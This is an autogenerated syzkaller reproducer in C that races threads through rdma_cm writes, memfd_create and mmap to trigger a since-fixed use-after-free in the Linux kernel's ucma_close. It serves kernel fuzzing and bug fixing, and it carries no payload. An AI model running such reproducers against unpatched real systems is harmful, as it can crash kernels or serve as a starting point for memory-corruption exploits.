syzkaller-repros/linux/77e2cfee3bc0fdd3bcaf05ea83a9c26a59ddbf6c.c

// KASAN: use-after-free Read in ucma_close
// https://syzkaller.appspot.com/bug?id=77e2cfee3bc0fdd3bcaf05ea83a9c26a59ddbf6c
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)

#define _GNU_SOURCE
#include <endian.h>
#include <linux/futex.h>
#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

struct thread_t {
  int created, running, call;
  pthread_t th;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static int collide;

static void* thr(void* arg)
{
  struct thread_t* th = (struct thread_t*)arg;
  for (;;) {
    while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
      syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
    execute_call(th->call);
    __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
    __atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
    syscall(SYS_futex, &th->running, FUTEX_WAKE);
  }
  return 0;
}

static void execute(int num_calls)
{
  int call, thread;
  running = 0;
  for (call = 0; call < num_calls; call++) {
    for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
      struct thread_t* th = &threads[thread];
      if (!th->created) {
        th->created = 1;
        pthread_attr_t attr;
        pthread_attr_init(&attr);
        pthread_attr_setstacksize(&attr, 128 << 10);
        pthread_create(&th->th, &attr, thr, th);
      }
      if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) {
        th->call = call;
        __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
        __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
        syscall(SYS_futex, &th->running, FUTEX_WAKE);
        if (collide && call % 2)
          break;
        struct timespec ts;
        ts.tv_sec = 0;
        ts.tv_nsec = 20 * 1000 * 1000;
        syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
        if (running)
          usleep((call == num_calls - 1) ? 10000 : 1000);
        break;
      }
    }
  }
}

#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif

uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
void execute_call(int call)
{
  long res;
  switch (call) {
  case 0:
    memcpy((void*)0x20000180, "/dev/infiniband/rdma_cm", 24);
    res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000180, 2, 0);
    if (res != -1)
      r[0] = res;
    break;
  case 1:
    *(uint32_t*)0x20000300 = 0;
    *(uint16_t*)0x20000304 = 0x18;
    *(uint16_t*)0x20000306 = 0xfa00;
    *(uint64_t*)0x20000308 = 1;
    *(uint64_t*)0x20000310 = 0x20001a80;
    *(uint16_t*)0x20000318 = 0x13f;
    *(uint8_t*)0x2000031a = 0;
    *(uint8_t*)0x2000031b = 0;
    *(uint8_t*)0x2000031c = 0;
    *(uint8_t*)0x2000031d = 0;
    *(uint8_t*)0x2000031e = 0;
    *(uint8_t*)0x2000031f = 0;
    syscall(__NR_write, r[0], 0x20000300, 0xffec);
    break;
  case 2:
    memcpy((void*)0x20834000, "I", 1);
    res = syscall(__NR_memfd_create, 0x20834000, 0);
    if (res != -1)
      r[1] = res;
    break;
  case 3:
    syscall(__NR_mmap, 0x20001000, 0x1000, 0x2000005, 0x11, r[1], 0);
    break;
  }
}

void loop()
{
  execute(4);
  collide = 1;
  execute(4);
}

int main()
{
  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
  loop();
  return 0;
}